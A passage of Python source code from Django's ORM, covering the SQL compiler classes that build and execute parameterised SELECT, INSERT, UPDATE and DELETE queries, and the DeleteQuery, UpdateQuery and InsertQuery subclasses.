            return self.quote_cache[name]
        if ((name in self.query.alias_map and name not in self.query.table_map) or
                name in self.query.extra_select or (
                    name in self.query.external_aliases and name not in self.query.table_map)):
            self.quote_cache[name] = name
            return name
        r = self.connection.ops.quote_name(name)
        self.quote_cache[name] = r
        return r

    def compile(self, node, select_format=False):
        vendor_impl = getattr(node, 'as_' + self.connection.vendor, None)
        if vendor_impl:
            sql, params = vendor_impl(self, self.connection)
        else:
            sql, params = node.as_sql(self, self.connection)
        if select_format and not self.subquery:
            return node.output_field.select_format(self, sql, params)
        return sql, params

    def as_sql(self, with_limits=True, with_col_aliases=False, subquery=False):
        """
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.

        If 'with_limits' is False, any limit/offset information is not included
        in the query.
        """
        self.subquery = subquery
        refcounts_before = self.query.alias_refcount.copy()
        try:
            extra_select, order_by, group_by = self.pre_sql_setup()
            distinct_fields = self.get_distinct()

            # This must come after 'select', 'ordering', and 'distinct' -- see
            # docstring of get_from_clause() for details.
            from_, f_params = self.get_from_clause()

            where, w_params = self.compile(self.where) if self.where is not None else ("", [])
            having, h_params = self.compile(self.having) if self.having is not None else ("", [])
            params = []
            result = ['SELECT']

            if self.query.distinct:
                result.append(self.connection.ops.distinct_sql(distinct_fields))

            out_cols = []
            col_idx = 1
            for _, (s_sql, s_params), alias in self.select + extra_select:
                if alias:
                    s_sql = '%s AS %s' % (s_sql, self.connection.ops.quote_name(alias))
                elif with_col_aliases:
                    s_sql = '%s AS %s' % (s_sql, 'Col%d' % col_idx)
                    col_idx += 1
                params.extend(s_params)
                out_cols.append(s_sql)

            result.append(', '.join(out_cols))

            result.append('FROM')
            result.extend(from_)
            params.extend(f_params)

            if where:
                result.append('WHERE %s' % where)
                params.extend(w_params)

            grouping = []
            for g_sql, g_params in group_by:
                grouping.append(g_sql)
                params.extend(g_params)
            if grouping:
                if distinct_fields:
                    raise NotImplementedError(
                        "annotate() + distinct(fields) is not implemented.")
                if not order_by:
                    order_by = self.connection.ops.force_no_ordering()
                result.append('GROUP BY %s' % ', '.join(grouping))

            if having:
                result.append('HAVING %s' % having)
                params.extend(h_params)

            if order_by:
                ordering = []
                for _, (o_sql, o_params, _) in order_by:
                    ordering.append(o_sql)
                    params.extend(o_params)
                result.append('ORDER BY %s' % ', '.join(ordering))

            if with_limits:
                if self.query.high_mark is not None:
                    result.append('LIMIT %d' % (self.query.high_mark - self.query.low_mark))
                if self.query.low_mark:
                    if self.query.high_mark is None:
                        val = self.connection.ops.no_limit_value()
                        if val:
                            result.append('LIMIT %d' % val)
                    result.append('OFFSET %d' % self.query.low_mark)

            if self.query.select_for_update and self.connection.features.has_select_for_update:
                if self.connection.get_autocommit():
                    raise TransactionManagementError(
                        "select_for_update cannot be used outside of a transaction."
                    )

                nowait = self.query.select_for_update_nowait
                skip_locked = self.query.select_for_update_skip_locked
                # If we've been asked for a NOWAIT/SKIP LOCKED query but the
                # backend does not support it, raise a DatabaseError otherwise
                # we could get an unexpected deadlock.
                if nowait and not self.connection.features.has_select_for_update_nowait:
                    raise DatabaseError('NOWAIT is not supported on this database backend.')
                elif skip_locked and not self.connection.features.has_select_for_update_skip_locked:
                    raise DatabaseError('SKIP LOCKED is not supported on this database backend.')
                result.append(self.connection.ops.for_update_sql(nowait=nowait, skip_locked=skip_locked))

            return ' '.join(result), tuple(params)
        finally:
            # Finally do cleanup - get rid of the joins we created above.
            self.query.reset_refcounts(refcounts_before)

    def as_nested_sql(self):
        """
        Perform the same functionality as the as_sql() method, returning an
        SQL string and parameters. However, the alias prefixes are bumped
        beforehand (in a copy -- the current query isn't changed), and any
        ordering is removed if the query is unsliced.

        Used when nesting this query inside another.
        """
        obj = self.query.clone()
        if obj.low_mark == 0 and obj.high_mark is None and not self.query.distinct_fields:
            # If there is no slicing in use, then we can safely drop all ordering
            obj.clear_ordering(True)
        nested_sql = obj.get_compiler(connection=self.connection).as_sql(subquery=True)
        if nested_sql == ('', ()):
            raise EmptyResultSet
        return nested_sql

    def get_default_columns(self, start_alias=None, opts=None, from_parent=None):
        """
        Computes the default columns for selecting every field in the base
        model. Will sometimes be called to pull in related models (e.g. via
        select_related), in which case "opts" and "start_alias" will be given
        to provide a starting point for the traversal.

        Returns a list of strings, quoted appropriately for use in SQL
        directly, as well as a set of aliases used in the select statement (if
        'as_pairs' is True, returns a list of (alias, col_name) pairs instead
        of strings as the first component and None as the second component).
        """
        result = []
        if opts is None:
            opts = self.query.get_meta()
        only_load = self.deferred_to_columns()
        if not start_alias:
            start_alias = self.query.get_initial_alias()
        # The 'seen_models' is used to optimize checking the needed parent
        # alias for a given field. This also includes None -> start_alias to
        # be used by local fields.
        seen_models = {None: start_alias}

        for field in opts.concrete_fields:
            model = field.model._meta.concrete_model
            # A proxy model will have a different model and concrete_model. We
            # will assign None if the field belongs to this model.
            if model == opts.model:
                model = None
            if from_parent and model is not None and issubclass(
                    from_parent._meta.concrete_model, model._meta.concrete_model):
                # Avoid loading data for already loaded parents.
                # We end up here in the case select_related() resolution
                # proceeds from parent model to child model. In that case the
                # parent model data is already present in the SELECT clause,
                # and we want to avoid reloading the same data again.
                continue
            if field.model in only_load and field.attname not in only_load[field.model]:
                continue
            alias = self.query.join_parent_model(opts, model, start_alias,
                                                 seen_models)
            column = field.get_col(alias)
            result.append(column)
        return result

    def get_distinct(self):
        """
        Returns a quoted list of fields to use in DISTINCT ON part of the query.

        Note that this method can alter the tables in the query, and thus it
        must be called before get_from_clause().
        """
        qn = self.quote_name_unless_alias
        qn2 = self.connection.ops.quote_name
        result = []
        opts = self.query.get_meta()

        for name in self.query.distinct_fields:
            parts = name.split(LOOKUP_SEP)
            _, targets, alias, joins, path, _ = self._setup_joins(parts, opts, None)
            targets, alias, _ = self.query.trim_joins(targets, joins, path)
            for target in targets:
                if name in self.query.annotation_select:
                    result.append(name)
                else:
                    result.append("%s.%s" % (qn(alias), qn2(target.column)))
        return result

    def find_ordering_name(self, name, opts, alias=None, default_order='ASC',
                           already_seen=None):
        """
        Returns the table alias (the name might be ambiguous, the alias will
        not be) and column name for ordering by the given 'name' parameter.
        The 'name' is of the form 'field1__field2__...__fieldN'.
        """
        name, order = get_order_dir(name, default_order)
        descending = True if order == 'DESC' else False
        pieces = name.split(LOOKUP_SEP)
        field, targets, alias, joins, path, opts = self._setup_joins(pieces, opts, alias)

        # If we get to this point and the field is a relation to another model,
        # append the default ordering for that model unless the attribute name
        # of the field is specified.
        if field.is_relation and opts.ordering and getattr(field, 'attname', None) != name:
            # Firstly, avoid infinite loops.
            if not already_seen:
                already_seen = set()
            join_tuple = tuple(getattr(self.query.alias_map[j], 'join_cols', None) for j in joins)
            if join_tuple in already_seen:
                raise FieldError('Infinite loop caused by ordering.')
            already_seen.add(join_tuple)

            results = []
            for item in opts.ordering:
                results.extend(self.find_ordering_name(item, opts, alias,
                                                       order, already_seen))
            return results
        targets, alias, _ = self.query.trim_joins(targets, joins, path)
        return [(OrderBy(t.get_col(alias), descending=descending), False) for t in targets]

    def _setup_joins(self, pieces, opts, alias):
        """
        A helper method for get_order_by and get_distinct.

        Note that get_ordering and get_distinct must produce same target
        columns on same input, as the prefixes of get_ordering and get_distinct
        must match. Executing SQL where this is not true is an error.
        """
        if not alias:
            alias = self.query.get_initial_alias()
        field, targets, opts, joins, path = self.query.setup_joins(
            pieces, opts, alias)
        alias = joins[-1]
        return field, targets, alias, joins, path, opts

    def get_from_clause(self):
        """
        Returns a list of strings that are joined together to go after the
        "FROM" part of the query, as well as a list any extra parameters that
        need to be included. Sub-classes, can override this to create a
        from-clause via a "select".

        This should only be called after any SQL construction methods that
        might change the tables we need. This means the select columns,
        ordering and distinct must be done first.
        """
        result = []
        params = []
        for alias in self.query.tables:
            if not self.query.alias_refcount[alias]:
                continue
            try:
                from_clause = self.query.alias_map[alias]
            except KeyError:
                # Extra tables can end up in self.tables, but not in the
                # alias_map if they aren't in a join. That's OK. We skip them.
                continue
            clause_sql, clause_params = self.compile(from_clause)
            result.append(clause_sql)
            params.extend(clause_params)
        for t in self.query.extra_tables:
            alias, _ = self.query.table_alias(t)
            # Only add the alias if it's not already present (the table_alias()
            # call increments the refcount, so an alias refcount of one means
            # this is the only reference).
            if alias not in self.query.alias_map or self.query.alias_refcount[alias] == 1:
                result.append(', %s' % self.quote_name_unless_alias(alias))
        return result, params

    def get_related_selections(self, select, opts=None, root_alias=None, cur_depth=1,
                               requested=None, restricted=None):
        """
        Fill in the information needed for a select_related query. The current
        depth is measured as the number of connections away from the root model
        (for example, cur_depth=1 means we are looking at models with direct
        connections to the root model).
        """
        def _get_field_choices():
            direct_choices = (f.name for f in opts.fields if f.is_relation)
            reverse_choices = (
                f.field.related_query_name()
                for f in opts.related_objects if f.field.unique
            )
            return chain(direct_choices, reverse_choices)

        related_klass_infos = []
        if not restricted and self.query.max_depth and cur_depth > self.query.max_depth:
            # We've recursed far enough; bail out.
            return related_klass_infos

        if not opts:
            opts = self.query.get_meta()
            root_alias = self.query.get_initial_alias()
        only_load = self.query.get_loaded_field_names()

        # Setup for the case when only particular related fields should be
        # included in the related selection.
        fields_found = set()
        if requested is None:
            if isinstance(self.query.select_related, dict):
                requested = self.query.select_related
                restricted = True
            else:
                restricted = False

        def get_related_klass_infos(klass_info, related_klass_infos):
            klass_info['related_klass_infos'] = related_klass_infos

        for f in opts.fields:
            field_model = f.model._meta.concrete_model
            fields_found.add(f.name)

            if restricted:
                next = requested.get(f.name, {})
                if not f.is_relation:
                    # If a non-related field is used like a relation,
                    # or if a single non-relational field is given.
                    if next or f.name in requested:
                        raise FieldError(
                            "Non-relational field given in select_related: '%s'. "
                            "Choices are: %s" % (
                                f.name,
                                ", ".join(_get_field_choices()) or '(none)',
                            )
                        )
            else:
                next = False

            if not select_related_descend(f, restricted, requested,
                                          only_load.get(field_model)):
                continue
            klass_info = {
                'model': f.remote_field.model,
                'field': f,
                'reverse': False,
                'from_parent': False,
            }
            related_klass_infos.append(klass_info)
            select_fields = []
            _, _, _, joins, _ = self.query.setup_joins(
                [f.name], opts, root_alias)
            alias = joins[-1]
            columns = self.get_default_columns(start_alias=alias, opts=f.remote_field.model._meta)
            for col in columns:
                select_fields.append(len(select))
                select.append((col, None))
            klass_info['select_fields'] = select_fields
            next_klass_infos = self.get_related_selections(
                select, f.remote_field.model._meta, alias, cur_depth + 1, next, restricted)
            get_related_klass_infos(klass_info, next_klass_infos)

        if restricted:
            related_fields = [
                (o.field, o.related_model)
                for o in opts.related_objects
                if o.field.unique and not o.many_to_many
            ]
            for f, model in related_fields:
                if not select_related_descend(f, restricted, requested,
                                              only_load.get(model), reverse=True):
                    continue

                related_field_name = f.related_query_name()
                fields_found.add(related_field_name)

                _, _, _, joins, _ = self.query.setup_joins([related_field_name], opts, root_alias)
                alias = joins[-1]
                from_parent = issubclass(model, opts.model)
                klass_info = {
                    'model': model,
                    'field': f,
                    'reverse': True,
                    'from_parent': from_parent,
                }
                related_klass_infos.append(klass_info)
                select_fields = []
                columns = self.get_default_columns(
                    start_alias=alias, opts=model._meta, from_parent=opts.model)
                for col in columns:
                    select_fields.append(len(select))
                    select.append((col, None))
                klass_info['select_fields'] = select_fields
                next = requested.get(f.related_query_name(), {})
                next_klass_infos = self.get_related_selections(
                    select, model._meta, alias, cur_depth + 1,
                    next, restricted)
                get_related_klass_infos(klass_info, next_klass_infos)
            fields_not_found = set(requested.keys()).difference(fields_found)
            if fields_not_found:
                invalid_fields = ("'%s'" % s for s in fields_not_found)
                raise FieldError(
                    'Invalid field name(s) given in select_related: %s. '
                    'Choices are: %s' % (
                        ', '.join(invalid_fields),
                        ', '.join(_get_field_choices()) or '(none)',
                    )
                )
        return related_klass_infos

    def deferred_to_columns(self):
        """
        Converts the self.deferred_loading data structure to mapping of table
        names to sets of column names which are to be loaded. Returns the
        dictionary.
        """
        columns = {}
        self.query.deferred_to_data(columns, self.query.get_loaded_field_names_cb)
        return columns

    def get_converters(self, expressions):
        converters = {}
        for i, expression in enumerate(expressions):
            if expression:
                backend_converters = self.connection.ops.get_db_converters(expression)
                field_converters = expression.get_db_converters(self.connection)
                if backend_converters or field_converters:
                    converters[i] = (backend_converters + field_converters, expression)
        return converters

    def apply_converters(self, row, converters):
        row = list(row)
        for pos, (convs, expression) in converters.items():
            value = row[pos]
            for converter in convs:
                value = converter(value, expression, self.connection, self.query.context)
            row[pos] = value
        return tuple(row)

    def results_iter(self, results=None):
        """
        Returns an iterator over the results from executing this query.
        """
        converters = None
        if results is None:
            results = self.execute_sql(MULTI)
        fields = [s[0] for s in self.select[0:self.col_count]]
        converters = self.get_converters(fields)
        for rows in results:
            for row in rows:
                if converters:
                    row = self.apply_converters(row, converters)
                yield row

    def has_results(self):
        """
        Backends (e.g. NoSQL) can override this in order to use optimized
        versions of "query has any results."
        """
        # This is always executed on a query clone, so we can modify self.query
        self.query.add_extra({'a': 1}, None, None, None, None, None)
        self.query.set_extra_mask(['a'])
        return bool(self.execute_sql(SINGLE))

    def execute_sql(self, result_type=MULTI):
        """
        Run the query against the database and returns the result(s). The
        return value is a single data item if result_type is SINGLE, or an
        iterator over the results if the result_type is MULTI.

        result_type is either MULTI (use fetchmany() to retrieve all rows),
        SINGLE (only retrieve a single row), or None. In this last case, the
        cursor is returned if any query is executed, since it's used by
        subclasses such as InsertQuery). It's possible, however, that no query
        is needed, as the filters describe an empty set. In that case, None is
        returned, to avoid any unnecessary database interaction.
        """
        if not result_type:
            result_type = NO_RESULTS
        try:
            sql, params = self.as_sql()
            if not sql:
                raise EmptyResultSet
        except EmptyResultSet:
            if result_type == MULTI:
                return iter([])
            else:
                return

        cursor = self.connection.cursor()
        try:
            cursor.execute(sql, params)
        except Exception:
            cursor.close()
            raise

        if result_type == CURSOR:
            # Caller didn't specify a result_type, so just give them back the
            # cursor to process (and close).
            return cursor
        if result_type == SINGLE:
            try:
                val = cursor.fetchone()
                if val:
                    return val[0:self.col_count]
                return val
            finally:
                # done with the cursor
                cursor.close()
        if result_type == NO_RESULTS:
            cursor.close()
            return

        result = cursor_iter(
            cursor, self.connection.features.empty_fetchmany_value,
            self.col_count
        )
        if not self.connection.features.can_use_chunked_reads:
            try:
                # If we are using non-chunked reads, we return the same data
                # structure as normally, but ensure it is all read into memory
                # before going any further.
                return list(result)
            finally:
                # done with the cursor
                cursor.close()
        return result

    def as_subquery_condition(self, alias, columns, compiler):
        qn = compiler.quote_name_unless_alias
        qn2 = self.connection.ops.quote_name
        if len(columns) == 1:
            sql, params = self.as_sql()
            return '%s.%s IN (%s)' % (qn(alias), qn2(columns[0]), sql), params

        for index, select_col in enumerate(self.query.select):
            lhs_sql, lhs_params = self.compile(select_col)
            rhs = '%s.%s' % (qn(alias), qn2(columns[index]))
            self.query.where.add(
                QueryWrapper('%s = %s' % (lhs_sql, rhs), lhs_params), 'AND')

        sql, params = self.as_sql()
        return 'EXISTS (%s)' % sql, params


class SQLInsertCompiler(SQLCompiler):

    def __init__(self, *args, **kwargs):
        self.return_id = False
        super(SQLInsertCompiler, self).__init__(*args, **kwargs)

    def field_as_sql(self, field, val):
        """
        Take a field and a value intended to be saved on that field, and
        return placeholder SQL and accompanying params. Checks for raw values,
        expressions and fields with get_placeholder() defined in that order.

        When field is None, the value is considered raw and is used as the
        placeholder, with no corresponding parameters returned.
        """
        if field is None:
            # A field value of None means the value is raw.
            sql, params = val, []
        elif hasattr(val, 'as_sql'):
            # This is an expression, let's compile it.
            sql, params = self.compile(val)
        elif hasattr(field, 'get_placeholder'):
            # Some fields (e.g. geo fields) need special munging before
            # they can be inserted.
            sql, params = field.get_placeholder(val, self, self.connection), [val]
        else:
            # Return the common case for the placeholder
            sql, params = '%s', [val]

        # The following hook is only used by Oracle Spatial, which sometimes
        # needs to yield 'NULL' and [] as its placeholder and params instead
        # of '%s' and [None]. The 'NULL' placeholder is produced earlier by
        # OracleOperations.get_geom_placeholder(). The following line removes
        # the corresponding None parameter. See ticket #10888.
        params = self.connection.ops.modify_insert_params(sql, params)

        return sql, params

    def prepare_value(self, field, value):
        """
        Prepare a value to be used in a query by resolving it if it is an
        expression and otherwise calling the field's get_db_prep_save().
        """
        if hasattr(value, 'resolve_expression'):
            value = value.resolve_expression(self.query, allow_joins=False, for_save=True)
            # Don't allow values containing Col expressions. They refer to
            # existing columns on a row, but in the case of insert the row
            # doesn't exist yet.
            if value.contains_column_references:
                raise ValueError(
                    'Failed to insert expression "%s" on %s. F() expressions '
                    'can only be used to update, not to insert.' % (value, field)
                )
            if value.contains_aggregate:
                raise FieldError("Aggregate functions are not allowed in this query")
        else:
            value = field.get_db_prep_save(value, connection=self.connection)
        return value

    def pre_save_val(self, field, obj):
        """
        Get the given field's value off the given obj. pre_save() is used for
        things like auto_now on DateTimeField. Skip it if this is a raw query.
        """
        if self.query.raw:
            return getattr(obj, field.attname)
        return field.pre_save(obj, add=True)

    def assemble_as_sql(self, fields, value_rows):
        """
        Take a sequence of N fields and a sequence of M rows of values,
        generate placeholder SQL and parameters for each field and value, and
        return a pair containing:
         * a sequence of M rows of N SQL placeholder strings, and
         * a sequence of M rows of corresponding parameter values.

        Each placeholder string may contain any number of '%s' interpolation
        strings, and each parameter row will contain exactly as many params
        as the total number of '%s's in the corresponding placeholder row.
        """
        if not value_rows:
            return [], []

        # list of (sql, [params]) tuples for each object to be saved
        # Shape: [n_objs][n_fields][2]
        rows_of_fields_as_sql = (
            (self.field_as_sql(field, v) for field, v in zip(fields, row))
            for row in value_rows
        )

        # tuple like ([sqls], [[params]s]) for each object to be saved
        # Shape: [n_objs][2][n_fields]
        sql_and_param_pair_rows = (zip(*row) for row in rows_of_fields_as_sql)

        # Extract separate lists for placeholders and params.
        # Each of these has shape [n_objs][n_fields]
        placeholder_rows, param_rows = zip(*sql_and_param_pair_rows)

        # Params for each field are still lists, and need to be flattened.
        param_rows = [[p for ps in row for p in ps] for row in param_rows]

        return placeholder_rows, param_rows

    def as_sql(self):
        # We don't need quote_name_unless_alias() here, since these are all
        # going to be column names (so we can avoid the extra overhead).
        qn = self.connection.ops.quote_name
        opts = self.query.get_meta()
        result = ['INSERT INTO %s' % qn(opts.db_table)]

        has_fields = bool(self.query.fields)
        fields = self.query.fields if has_fields else [opts.pk]
        result.append('(%s)' % ', '.join(qn(f.column) for f in fields))

        if has_fields:
            value_rows = [
                [self.prepare_value(field, self.pre_save_val(field, obj)) for field in fields]
                for obj in self.query.objs
            ]
        else:
            # An empty object.
            value_rows = [[self.connection.ops.pk_default_value()] for _ in self.query.objs]
            fields = [None]

        # Currently the backends just accept values when generating bulk
        # queries and generate their own placeholders. Doing that isn't
        # necessary and it should be possible to use placeholders and
        # expressions in bulk inserts too.
        can_bulk = (not self.return_id and self.connection.features.has_bulk_insert)

        placeholder_rows, param_rows = self.assemble_as_sql(fields, value_rows)

        if self.return_id and self.connection.features.can_return_id_from_insert:
            if self.connection.features.can_return_ids_from_bulk_insert:
                result.append(self.connection.ops.bulk_insert_sql(fields, placeholder_rows))
                params = param_rows
            else:
                result.append("VALUES (%s)" % ", ".join(placeholder_rows[0]))
                params = [param_rows[0]]
            col = "%s.%s" % (qn(opts.db_table), qn(opts.pk.column))
            r_fmt, r_params = self.connection.ops.return_insert_id()
            # Skip empty r_fmt to allow subclasses to customize behavior for
            # 3rd party backends. Refs #19096.
            if r_fmt:
                result.append(r_fmt % col)
                params += [r_params]
            return [(" ".join(result), tuple(chain.from_iterable(params)))]

        if can_bulk:
            result.append(self.connection.ops.bulk_insert_sql(fields, placeholder_rows))
            return [(" ".join(result), tuple(p for ps in param_rows for p in ps))]
        else:
            return [
                (" ".join(result + ["VALUES (%s)" % ", ".join(p)]), vals)
                for p, vals in zip(placeholder_rows, param_rows)
            ]

    def execute_sql(self, return_id=False):
        assert not (
            return_id and len(self.query.objs) != 1 and
            not self.connection.features.can_return_ids_from_bulk_insert
        )
        self.return_id = return_id
        with self.connection.cursor() as cursor:
            for sql, params in self.as_sql():
                cursor.execute(sql, params)
            if not (return_id and cursor):
                return
            if self.connection.features.can_return_ids_from_bulk_insert and len(self.query.objs) > 1:
                return self.connection.ops.fetch_returned_insert_ids(cursor)
            if self.connection.features.can_return_id_from_insert:
                assert len(self.query.objs) == 1
                return self.connection.ops.fetch_returned_insert_id(cursor)
            return self.connection.ops.last_insert_id(
                cursor, self.query.get_meta().db_table, self.query.get_meta().pk.column
            )


class SQLDeleteCompiler(SQLCompiler):
    def as_sql(self):
        """
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.
        """
        assert len([t for t in self.query.tables if self.query.alias_refcount[t] > 0]) == 1, \
            "Can only delete from one table at a time."
        qn = self.quote_name_unless_alias
        result = ['DELETE FROM %s' % qn(self.query.tables[0])]
        where, params = self.compile(self.query.where)
        if where:
            result.append('WHERE %s' % where)
        return ' '.join(result), tuple(params)


class SQLUpdateCompiler(SQLCompiler):
    def as_sql(self):
        """
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.
        """
        self.pre_sql_setup()
        if not self.query.values:
            return '', ()
        qn = self.quote_name_unless_alias
        values, update_params = [], []
        for field, model, val in self.query.values:
            if hasattr(val, 'resolve_expression'):
                val = val.resolve_expression(self.query, allow_joins=False, for_save=True)
                if val.contains_aggregate:
                    raise FieldError("Aggregate functions are not allowed in this query")
            elif hasattr(val, 'prepare_database_save'):
                if field.remote_field:
                    val = field.get_db_prep_save(
                        val.prepare_database_save(field),
                        connection=self.connection,
                    )
                else:
                    raise TypeError(
                        "Tried to update field %s with a model instance, %r. "
                        "Use a value compatible with %s."
                        % (field, val, field.__class__.__name__)
                    )
            else:
                val = field.get_db_prep_save(val, connection=self.connection)

            # Getting the placeholder for the field.
            if hasattr(field, 'get_placeholder'):
                placeholder = field.get_placeholder(val, self, self.connection)
            else:
                placeholder = '%s'
            name = field.column
            if hasattr(val, 'as_sql'):
                sql, params = self.compile(val)
                values.append('%s = %s' % (qn(name), sql))
                update_params.extend(params)
            elif val is not None:
                values.append('%s = %s' % (qn(name), placeholder))
                update_params.append(val)
            else:
                values.append('%s = NULL' % qn(name))
        if not values:
            return '', ()
        table = self.query.tables[0]
        result = [
            'UPDATE %s SET' % qn(table),
            ', '.join(values),
        ]
        where, params = self.compile(self.query.where)
        if where:
            result.append('WHERE %s' % where)
        return ' '.join(result), tuple(update_params + params)

    def execute_sql(self, result_type):
        """
        Execute the specified update. Returns the number of rows affected by
        the primary update query. The "primary update query" is the first
        non-empty query that is executed. Row counts for any subsequent,
        related queries are not available.
        """
        cursor = super(SQLUpdateCompiler, self).execute_sql(result_type)
        try:
            rows = cursor.rowcount if cursor else 0
            is_empty = cursor is None
        finally:
            if cursor:
                cursor.close()
        for query in self.query.get_related_updates():
            aux_rows = query.get_compiler(self.using).execute_sql(result_type)
            if is_empty and aux_rows:
                rows = aux_rows
                is_empty = False
        return rows

    def pre_sql_setup(self):
        """
        If the update depends on results from other tables, we need to do some
        munging of the "where" conditions to match the format required for
        (portable) SQL updates. That is done here.

        Further, if we are going to be running multiple updates, we pull out
        the id values to update at this point so that they don't change as a
        result of the progressive updates.
        """
        refcounts_before = self.query.alias_refcount.copy()
        # Ensure base table is in the query
        self.query.get_initial_alias()
        count = self.query.count_active_tables()
        if not self.query.related_updates and count == 1:
            return
        query = self.query.clone(klass=Query)
        query.select_related = False
        query.clear_ordering(True)
        query._extra = {}
        query.select = []
        query.add_fields([query.get_meta().pk.name])
        super(SQLUpdateCompiler, self).pre_sql_setup()

        must_pre_select = count > 1 and not self.connection.features.update_can_self_select

        # Now we adjust the current query: reset the where clause and get rid
        # of all the tables we don't need (since they're in the sub-select).
        self.query.where = self.query.where_class()
        if self.query.related_updates or must_pre_select:
            # Either we're using the idents in multiple update queries (so
            # don't want them to change), or the db backend doesn't support
            # selecting from the updating table (e.g. MySQL).
            idents = []
            for rows in query.get_compiler(self.using).execute_sql(MULTI):
                idents.extend(r[0] for r in rows)
            self.query.add_filter(('pk__in', idents))
            self.query.related_ids = idents
        else:
            # The fast path. Filters and updates in one query.
            self.query.add_filter(('pk__in', query))
        self.query.reset_refcounts(refcounts_before)


class SQLAggregateCompiler(SQLCompiler):
    def as_sql(self):
        """
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.
        """
        # Empty SQL for the inner query is a marker that the inner query
        # isn't going to produce any results. This can happen when doing
        # LIMIT 0 queries (generated by qs[:0]) for example.
        if not self.query.subquery:
            raise EmptyResultSet
        sql, params = [], []
        for annotation in self.query.annotation_select.values():
            ann_sql, ann_params = self.compile(annotation, select_format=True)
            sql.append(ann_sql)
            params.extend(ann_params)
        self.col_count = len(self.query.annotation_select)
        sql = ', '.join(sql)
        params = tuple(params)

        sql = 'SELECT %s FROM (%s) subquery' % (sql, self.query.subquery)
        params = params + self.query.sub_params
        return sql, params


def cursor_iter(cursor, sentinel, col_count):
    """
    Yields blocks of rows from a cursor and ensures the cursor is closed when
    done.
    """
    try:
        for rows in iter((lambda: cursor.fetchmany(GET_ITERATOR_CHUNK_SIZE)),
                         sentinel):
            yield [r[0:col_count] for r in rows]
    finally:
        cursor.close()






"""
Query subclasses which provide extra functionality beyond simple data retrieval.
"""

from django.core.exceptions import FieldError
from django.db import connections
from django.db.models.query_utils import Q
from django.db.models.sql.constants import (
    CURSOR, GET_ITERATOR_CHUNK_SIZE, NO_RESULTS,
)
from django.db.models.sql.query import Query
from django.utils import six

__all__ = ['DeleteQuery', 'UpdateQuery', 'InsertQuery', 'AggregateQuery']


class DeleteQuery(Query):
    """
    Delete queries are done through this class, since they are more constrained
    than general queries.
    """

    compiler = 'SQLDeleteCompiler'

    def do_query(self, table, where, using):
        self.tables = [table]
        self.where = where
        cursor = self.get_compiler(using).execute_sql(CURSOR)
        return cursor.rowcount if cursor else 0

    def delete_batch(self, pk_list, using, field=None):
        """
        Set up and execute delete queries for all the objects in pk_list.

        More than one physical query may be executed if there are a
        lot of values in pk_list.
        """
        # number of objects deleted
        num_deleted = 0
        if not field:
            field = self.get_meta().pk
        for offset in range(0, len(pk_list), GET_ITERATOR_CHUNK_SIZE):
            self.where = self.where_class()
            self.add_q(Q(
                **{field.attname + '__in': pk_list[offset:offset + GET_ITERATOR_CHUNK_SIZE]}))
            num_deleted += self.do_query(self.get_meta().db_table, self.where, using=using)
        return num_deleted

    def delete_qs(self, query, using):
        """
        Delete the queryset in one SQL query (if possible). For simple queries
        this is done by copying the query.query.where to self.query, for
        complex queries by using subquery.
        """
        innerq = query.query
        # Make sure the inner query has at least one table in use.
        innerq.get_initial_alias()
        # The same for our new query.
        self.get_initial_alias()
        innerq_used_tables = [t for t in innerq.tables
                              if innerq.alias_refcount[t]]
        if not innerq_used_tables or innerq_used_tables == self.tables:
            # There is only the base table in use in the query.
            self.where = innerq.where
        else:
            pk = query.model._meta.pk
            if not connections[using].features.update_can_self_select:
                # We can't do the delete using subquery.
                values = list(query.values_list('pk', flat=True))
                if not values:
                    return 0
                return self.delete_batch(values, using)
            else:
                innerq.clear_select_clause()
                innerq.select = [
                    pk.get_col(self.get_initial_alias())
                ]
                values = innerq
            self.where = self.where_class()
            self.add_q(Q(pk__in=values))
        cursor = self.get_compiler(using).execute_sql(CURSOR)
        return cursor.rowcount if cursor else 0


class UpdateQuery(Query):
    """
    Represents an "update" SQL query.
    """

    compiler = 'SQLUpdateCompiler'

    def __init__(self, *args, **kwargs):
        super(UpdateQuery, self).__init__(*args, **kwargs)
        self._setup_query()

    def _setup_query(self):
        """
        Runs on initialization and after cloning. Any attributes that would
        normally be set in __init__ should go in here, instead, so that they
        are also set up after a clone() call.
        """
        self.values = []
        self.related_ids = None
        if not hasattr(self, 'related_updates'):
            self.related_updates = {}

    def clone(self, klass=None, **kwargs):
        return super(UpdateQuery, self).clone(klass, related_updates=self.related_updates.copy(), **kwargs)

    def update_batch(self, pk_list, values, using):
        self.add_update_values(values)
        for offset in range(0, len(pk_list), GET_ITERATOR_CHUNK_SIZE):
            self.where = self.where_class()
            self.add_q(Q(pk__in=pk_list[offset: offset + GET_ITERATOR_CHUNK_SIZE]))
            self.get_compiler(using).execute_sql(NO_RESULTS)

    def add_update_values(self, values):
        """
        Convert a dictionary of field name to value mappings into an update
        query. This is the entry point for the public update() method on
        querysets.
        """
        values_seq = []
        for name, val in six.iteritems(values):
            field = self.get_meta().get_field(name)
            direct = not (field.auto_created and not field.concrete) or not field.concrete
            model = field.model._meta.concrete_model
            if not direct or (field.is_relation and field.many_to_many):
                raise FieldError(
                    'Cannot update model field %r (only non-relations and '
                    'foreign keys permitted).' % field
                )
            if model is not self.get_meta().model:
                self.add_related_update(model, field, val)
                continue
            values_seq.append((field, model, val))
        return self.add_update_fields(values_seq)

    def add_update_fields(self, values_seq):
        """
        Append a sequence of (field, model, value) triples to the internal list
        that will be used to generate the UPDATE query. Might be more usefully
        called add_update_targets() to hint at the extra information here.
        """
        for field, model, val in values_seq:
            if hasattr(val, 'resolve_expression'):
                # Resolve expressions here so that annotations are no longer needed
                val = val.resolve_expression(self, allow_joins=False, for_save=True)
            self.values.append((field, model, val))

    def add_related_update(self, model, field, value):
        """
        Adds (name, value) to an update query for an ancestor model.

        Updates are coalesced so that we only run one update query per ancestor.
        """
        self.related_updates.setdefault(model, []).append((field, None, value))

    def get_related_updates(self):
        """
        Returns a list of query objects: one for each update required to an
        ancestor model. Each query will have the same filtering conditions as
        the current query but will only update a single table.
        """
        if not self.related_updates:
            return []
        result = []
        for model, values in six.iteritems(self.related_updates):
            query = UpdateQuery(model)
            query.values = values
            if self.related_ids is not None:
                query.add_filter(('pk__in', self.related_ids))
            result.append(query)
        return result


class InsertQuery(Query):
    compiler = 'SQLInsertCompiler'

    def __init__(self, *args, **kwargs):
        super(InsertQuery, self).__init__(*args, **kwargs)
        self.fields = []
